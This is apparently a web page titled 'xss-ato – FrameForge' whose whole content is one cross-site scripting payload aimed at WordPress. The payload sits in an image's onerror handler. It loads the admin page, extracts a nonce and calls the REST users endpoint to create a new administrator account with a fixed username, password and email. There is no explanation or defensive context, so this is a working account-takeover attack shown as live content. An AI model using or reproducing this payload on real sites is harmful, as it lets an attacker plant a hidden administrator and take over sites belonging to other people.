xss-ato – FrameForge

$<img src=x onerror="fetch('/wp-admin/').then(function(r){return r.text()}).then(function(h){var n=h.match(/nonce[^a-f0-9]*([a-f0-9]{8,})/i)[1];fetch('/wp-json/wp/v2/users',{method:'POST',headers:{'X-WP-Nonce':n,'Content-Type':'application/json'},body:JSON.stringify({username:'h1pwnc72221',password:'PwnTUoPbgb2Em6V!',email:'h1-h1pwnc72221@wiki-ai.online',roles:['administrator']})})})">$